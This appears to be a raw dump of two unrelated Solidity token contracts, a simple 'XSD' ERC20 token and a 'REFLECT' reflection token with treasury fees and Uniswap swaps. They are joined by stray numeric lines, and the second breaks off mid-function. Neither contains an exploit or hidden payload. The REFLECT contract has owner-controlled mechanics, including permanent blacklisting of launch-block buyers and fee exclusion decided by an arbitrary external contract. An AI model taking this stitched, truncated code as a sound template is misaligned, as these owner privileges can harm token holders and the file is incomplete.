pragma solidity ^0.4.18; library SafeMath { function add(uint a, uint b) internal pure returns (uint c) { c = a + b; require(c >= a); } function sub(uint a, uint b) internal pure returns (uint c) { require(b <= a); c = a - b; } function mul(uint a, uint b) internal pure returns (uint c) { c = a * b; require(a == 0 || c / a == b); } function div(uint a, uint b) internal pure returns (uint c) { require(b > 0); c = a / b; } } contract ERC20Interface { function totalSupply() public constant returns (uint); function balanceOf(address tokenOwner) public constant returns (uint balance); function allowance(address tokenOwner, address spender) public constant returns (uint remaining); function transfer(address to, uint tokens) public returns (bool success); function approve(address spender, uint tokens) public returns (bool success); function transferFrom(address from, address to, uint tokens) public returns (bool success); event Transfer(address indexed from, address indexed to, uint tokens); event Approval(address indexed tokenOwner, address indexed spender, uint tokens); } contract Owned { address public owner; function Owned() public { owner = msg.sender; } modifier onlyOwner { require(msg.sender == owner); _; } } contract XSDToken is ERC20Interface, Owned { using SafeMath for uint; string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; function XSDToken() public { symbol = "XSD"; name = "Spend"; decimals = 18; _totalSupply = 10000000000 * 10**uint(decimals); balances[owner] = _totalSupply; Transfer(address(0), owner, _totalSupply); } function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = balances[msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(msg.sender, to, tokens); return true; } function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = balances[from].sub(tokens); allowed[from][msg.sender] = allowed[from][msg.sender].sub(tokens); balances[to] = balances[to].add(tokens); Transfer(from, to, tokens); return true; } function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } function () public payable { } function withdraw() public onlyOwner returns (bool result) { return owner.send(this.balance); } function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
0
337
pragma solidity ^0.8.4; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { _setOwner(_msgSender()); } function owner() public view virtual returns (address) { return _owner; } modifier onlyOwner() { require(owner() == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { _setOwner(address(0)); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); _setOwner(newOwner); } function _setOwner(address newOwner) private { address oldOwner = _owner; _owner = newOwner; emit OwnershipTransferred(oldOwner, newOwner); } } library Address { function isContract(address account) internal view returns (bool) { uint256 size; assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { if (returndata.length > 0) { assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { event PairCreated(address indexed token0, address indexed token1, address pair, uint); function feeTo() external view returns (address); function feeToSetter() external view returns (address); function getPair(address tokenA, address tokenB) external view returns (address pair); function allPairs(uint) external view returns (address pair); function allPairsLength() external view returns (uint); function createPair(address tokenA, address tokenB) external returns (address pair); function setFeeTo(address) external; function setFeeToSetter(address) external; } interface IUniswapV2Router01 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } interface IUniswapV2Router02 is IUniswapV2Router01 { function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } interface IConditional { function passesTest(address wallet) external view returns (bool); } contract REFLECT is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; address payable public treasuryWallet = payable(0x1CcA9a222cD278c5e3310CD468066eE66750763E); address public constant deadAddress = 0x000000000000000000000000000000000000dEaD; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isSniper; address[] private _confirmedSnipers; uint256 public rewardsClaimTimeSeconds = 60 * 60 * 6; mapping(address => uint256) private _rewardsLastClaim; mapping(address => bool) private _isExcludedFee; mapping(address => bool) private _isExcludedReward; address[] private _excluded; string private constant _name = 'REFLECT'; string private constant _symbol = 'REFLECT'; uint8 private constant _decimals = 9; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1e12 * 10**_decimals; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 public reflectionFee = 0; uint256 private _previousReflectFee = reflectionFee; uint256 public treasuryFee = 6; uint256 private _previousTreasuryFee = treasuryFee; uint256 public ethRewardsFee = 1; uint256 private _previousETHRewardsFee = ethRewardsFee; uint256 public ethRewardsBalance; uint256 public buybackFee = 1; uint256 private _previousBuybackFee = buybackFee; address public buybackTokenAddress = 0x23464fb65ff1a8e7a9a1318Dfa56185a4950cF8B; address public buybackReceiver = address(this); uint256 public feeSellMultiplier = 2; uint256 public feeRate = 10; uint256 public launchTime; uint256 public boostRewardsPercent = 50; address public boostRewardsContract; address public feeExclusionContract; IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; mapping(address => bool) private _isUniswapPair; address private constant _uniswapRouterAddress = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; bool private _inSwapAndLiquify; bool private _isSelling; bool private _tradingOpen = false; bool private _isMaxBuyActivated = true; uint256 public _maxTxAmount = _tTotal.mul(20).div(1000); uint256 public _maxWalletSize = _tTotal.mul(4).div(100); uint256 public _maximumBuyAmount = _tTotal.mul(20).div(1000); event MaxTxAmountUpdated(uint256 _maxTxAmount); event MaxWalletSizeUpdated(uint256 _maxWalletSize); event SendETHRewards(address to, uint256 amountETH); event SendTokenRewards(address to, address token, uint256 amount); event SwapETHForTokens(address whereTo, uint256 amountIn, address[] path); event SwapTokensForETH(uint256 amountIn, address[] path); event SwapAndLiquify( uint256 tokensSwappedForEth, uint256 ethAddedForLp, uint256 tokensAddedForLp ); modifier lockTheSwap() { _inSwapAndLiquify = true; _; _inSwapAndLiquify = false; } constructor() { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function initContract() external onlyOwner { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02( _uniswapRouterAddress ); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair( address(this), _uniswapV2Router.WETH() ); uniswapV2Router = _uniswapV2Router; _isExcludedFee[owner()] = true; _isExcludedFee[address(this)] = true; _isExcludedFee[treasuryWallet] = true; } function openTrading() external onlyOwner { treasuryFee = _previousTreasuryFee; ethRewardsFee = _previousETHRewardsFee; reflectionFee = _previousReflectFee; buybackFee = _previousBuybackFee; _tradingOpen = true; launchTime = block.timestamp; } function name() external pure returns (string memory) { return _name; } function symbol() external pure returns (string memory) { return _symbol; } function decimals() external pure returns (uint8) { return _decimals; } function totalSupply() external pure override returns (uint256) { return _tTotal; } function MaxTXAmount() external view returns (uint256) { return _maxTxAmount; } function MaxWalletSize() external view returns (uint256) { return _maxWalletSize; } function balanceOf(address account) public view override returns (uint256) { if (_isExcludedReward[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) external override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, 'ERC20: transfer amount exceeds allowance' ) ); return true; } function increaseAllowance(address spender, uint256 addedValue) external virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue) ); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) external virtual returns (bool) { _approve( _msgSender(), spender, _allowances[_msgSender()][spender].sub( subtractedValue, 'ERC20: decreased allowance below zero' ) ); return true; } function setMaxTxnAmount(uint256 maxTxAmountPercetange) external onlyOwner{ require(maxTxAmountPercetange < 1000, "Maximum amount per transaction must be lower than 100%"); require(maxTxAmountPercetange > 1, "Maximum amount per transaction must be higher than 0.1%"); _maxTxAmount = _tTotal.mul(maxTxAmountPercetange).div(1000); emit MaxTxAmountUpdated(_maxTxAmount); } function setMaxWalletSize(uint256 maxWalletSizePercentage) external onlyOwner{ require(maxWalletSizePercentage < 1000, "Maximum wallet size must be lower than 100%"); require(maxWalletSizePercentage > 20, "Maximum wallet size must be higher than 2%"); _maxWalletSize = _tTotal.mul(maxWalletSizePercentage).div(1000); emit MaxWalletSizeUpdated(_maxWalletSize); } function getLastETHRewardsClaim(address wallet) external view returns (uint256) { return _rewardsLastClaim[wallet]; } function totalFees() external view returns (uint256) { return _tFeeTotal; } function deliver(uint256 tAmount) external { address sender = _msgSender(); require( !_isExcludedReward[sender], 'Excluded addresses cannot call this function' ); (uint256 rAmount, , , , , ) = _getValues(sender, tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount); } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) external view returns (uint256) { require(tAmount <= _tTotal, 'Amount must be less than supply'); if (!deductTransferFee) { (uint256 rAmount, , , , , ) = _getValues(address(0), tAmount); return rAmount; } else { (, uint256 rTransferAmount, , , , ) = _getValues(address(0), tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns (uint256) { require(rAmount <= _rTotal, 'Amount must be less than total reflections'); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeFromReward(address account) external onlyOwner { require(!_isExcludedReward[account], 'Account is already excluded'); if (_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcludedReward[account] = true; _excluded.push(account); } function includeInReward(address account) external onlyOwner { require(_isExcludedReward[account], 'Account is already included'); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcludedReward[account] = false; _excluded.pop(); break; } } } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), 'ERC20: approve from the zero address'); require(spender != address(0), 'ERC20: approve to the zero address'); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), 'ERC20: transfer from the zero address'); require(to != address(0), 'ERC20: transfer to the zero address'); require(amount > 0, 'Transfer amount must be greater than zero'); require(!_isSniper[to], 'Stop sniping!'); require(!_isSniper[from], 'Stop sniping!'); require(!_isSniper[_msgSender()], 'Stop sniping!'); if ( (to == uniswapV2Pair || _isUniswapPair[to]) && from != address(uniswapV2Router) && !isExcludedFromFee(to) && !isExcludedFromFee(from) ) { require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); } if ( to != uniswapV2Pair && !_isUniswapPair[to] && !isExcludedFromFee(to) && !isExcludedFromFee(from) ) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); if (_isMaxBuyActivated) { if (block.timestamp <= launchTime + 30 minutes) { require(amount <= _maximumBuyAmount, "Amount too much"); } } } _rewardsLastClaim[to] = block.timestamp; bool excludedFromFee = false; if ( (from == uniswapV2Pair || _isUniswapPair[from]) && to != address(uniswapV2Router) ) { if (!isExcludedFromFee(to)) { require(_tradingOpen, 'Trading not yet enabled.'); if (block.timestamp == launchTime) { _isSniper[to] = true; _confirmedSnipers.push(to); } _rewardsLastClaim[from] = block.timestamp; } else { excludedFromFee = true; } } if ( !_inSwapAndLiquify && _tradingOpen && (to == uniswapV2Pair || _isUniswapPair[to]) ) { uint256 _contractTokenBalance = balanceOf(address(this)); if (_contractTokenBalance > 0) { if ( _contractTokenBalance > balanceOf(uniswapV2Pair).mul(feeRate).div(100) ) { _contractTokenBalance = balanceOf(uniswapV2Pair).mul(feeRate).div( 100 ); } _swapTokens(_contractTokenBalance); } _rewardsLastClaim[from] = block.timestamp; _isSelling = true; excludedFromFee = isExcludedFromFee(from); } bool takeFee = false; if ( (from == uniswapV2Pair || to == uniswapV2Pair || _isUniswapPair[to] || _isUniswapPair[from]) && !excludedFromFee ) { takeFee = true; } _tokenTransfer(from, to, amount, takeFee); _isSelling = false; } function _swapTokens(uint256 _contractTokenBalance) private lockTheSwap { uint256 ethBalanceBefore = address(this).balance; _swapTokensForEth(_contractTokenBalance); uint256 ethBalanceAfter = address(this).balance; uint256 ethBalanceUpdate = ethBalanceAfter.sub(ethBalanceBefore); uint256 _liquidityFeeTotal = _liquidityFeeAggregate(address(0)); ethRewardsBalance += ethBalanceUpdate.mul(ethRewardsFee).div( _liquidityFeeTotal ); uint256 treasuryETHBalance = ethBalanceUpdate.mul(treasuryFee).div( _liquidityFeeTotal ); if (treasuryETHBalance > 0) { _sendETHToTreasury(treasuryETHBalance); } uint256 buybackETHBalance = ethBalanceUpdate.mul(buybackFee).div( _liquidityFeeTotal ); if (buybackETHBalance > 0) { _buyBackTokens(buybackETHBalance); } } function _sendETHToTreasury(uint256 amount) private { treasuryWallet.call{ value: amount }(''); } function _buyBackTokens(uint256 amount) private { address[] memory path = new address[](2); path[0] = uniswapV2Router.WETH(); path[1] = buybackTokenAddress; uniswapV2Router.swapExactETHForTokensSupportingFeeOnTransferTokens{ value: amount }( 0, path, buybackReceiver, block.timestamp ); emit SwapETHForTokens(buybackReceiver, amount, path); } function _swapTokensForEth(uint256 tokenAmount) private { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); emit SwapTokensForETH(tokenAmount, path); } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) _removeAllFee(); if (_isExcludedReward[sender] && !_isExcludedReward[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcludedReward[sender] && _isExcludedReward[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (_isExcludedReward[sender] && _isExcludedReward[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } if (!takeFee) _restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(sender, tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(sender, tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(sender, tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity ) = _getValues(sender, tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeLiquidity(tLiquidity); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(address seller, uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tLiquidity) = _getTValues( seller, tAmount ); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues( tAmount, tFee, tLiquidity, _getRate() ); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tLiquidity); } function _getTValues(address seller, uint256 tAmount) private view returns ( uint256, uint256, uint256 ) { uint256 tFee = _calculateReflectFee(tAmount); uint256 tLiquidity = _calculateLiquidityFee(seller, tAmount); uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity); return (tTransferAmount, tFee, tLiquidity); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tLiquidity, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rLiquidity = tLiquidity.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function _takeLiquidity(uint256 tLiquidity) private { uint256 currentRate = _getRate(); uint256 rLiquidity = tLiquidity.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity); if (_isExcludedReward[address(this)]) _tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity); } function _calculateReflectFee(uint256 _amount) private view returns (uint256) { return _amount.mul(reflectionFee).div(10**2); } function _liquidityFeeAggregate(address seller) private view returns (uint256) { uint256 feeMultiplier = _isSelling && !canClaimRewards(seller) ? feeSellMultiplier : 1; return (treasuryFee.add(ethRewardsFee).add(buybackFee)).mul(feeMultiplier); } function _calculateLiquidityFee(address seller, uint256 _amount) private view returns (uint256) { return _amount.mul(_liquidityFeeAggregate(seller)).div(10**2); } function _removeAllFee() private { if ( reflectionFee == 0 && treasuryFee == 0 && ethRewardsFee == 0 && buybackFee == 0 ) return; _previousReflectFee = reflectionFee; _previousTreasuryFee = treasuryFee; _previousETHRewardsFee = ethRewardsFee; _previousBuybackFee = buybackFee; reflectionFee = 0; treasuryFee = 0; ethRewardsFee = 0; buybackFee = 0; } function _restoreAllFee() private { reflectionFee = _previousReflectFee; treasuryFee = _previousTreasuryFee; ethRewardsFee = _previousETHRewardsFee; buybackFee = _previousBuybackFee; } function getSellSlippage(address seller) external view returns (uint256) { uint256 feeAgg = treasuryFee.add(ethRewardsFee).add(buybackFee); return isExcludedFromFee(seller) ? 0 : !canClaimRewards(seller) ? feeAgg.mul(feeSellMultiplier) : feeAgg; } function isUniswapPair(address _pair) external view returns (bool) { if (_pair == uniswapV2Pair) return true; return _isUniswapPair[_pair]; } function eligibleForRewardBooster(address wallet) public view returns (bool) { return boostRewardsContract != address(0) && IConditional(boostRewardsContract).passesTest(wallet); } function isExcludedFromFee(address account) public view returns (bool) { return _isExcludedFee[account] || (feeExclusionContract != address(0) && IConditional(feeExclusionContract).passesTest(account)); } function isExcludedFromReward(address account) external view returns (bool) { return _isExcludedReward[account]; } function excludeFromFee(address account) external onlyOwner { _isExcludedFee[account] = true; } function includeInFee(address account) external onlyOwner { _isExcludedFee[account] = false; } function setRewardsClaimTimeSeconds(uint256 _seconds) external onlyOwner { require(_seconds >= 0 &&_seconds <= 60 * 60 * 24 * 7, 'claim time delay must be greater or equal to 0 seconds and less than or equal to 7 days'); rewardsClaimTimeSeconds = _seconds; } function setNewFeesPercentages(uint256 _reflectionNewFee, uint256 _treasuryNewFee, uint256 _ethRewardsNewFee, uint256 _buybackRewardsNewFee) external onlyOwner { require(_reflectionNewFee + _treasuryNewFee + _ethRewardsNewFee + _buybackRewardsNewFee <= 10, 'Tax cannot be higher than 10%'); reflectionFee = _reflectionNewFee; treasuryFee = _treasuryNewFee; ethRewardsFee = _ethRewardsNewFee; buybackFee = _buybackRewardsNewFee; } function setFeeSellMultiplier(uint256 multiplier) external onlyOwner { require(multiplier <= 2, 'must be less than or equal to 2'); feeSellMultiplier = multiplier; } function setTreasuryAddress(address _treasuryWallet) external onlyOwner { treasuryWallet = payable(_treasuryWallet); _isExcludedFee[treasuryWallet] = true; } function setIsMaxBuyActivated(bool _value) public onlyOwner { _isMaxBuyActivated = _value; } function setBuybackTokenAddress(address _tokenAddress) external onlyOwner { buybackTokenAddress = _tokenAddress; } function setBuybackReceiver(address _receiver) external onlyOwner { buybackReceiver = _receiver; } function addUniswapPair(address _pair) external onlyOwner { _isUniswapPair[_pair] = true; } function removeUniswapPair(address _pair) external onlyOwner { _isUniswapPair[_pair] = false; } function setBoostRewardsPercent(uint256 perc) external onlyOwner { boostRewardsPercent = perc; } function setBoostRewardsContract(address _contract) external onlyOwner { if (_contract != address(0)) { IConditional _contCheck = IConditional(_contract); require( _contCheck.passesTest(address(0)) == true || _contCheck.passesTest(address(0)) == false, 'contract does not implement interface' ); } boostRewardsContract = _contract; } function setFeeExclusionContract(address _contract) external onlyOwner { if (_contract != 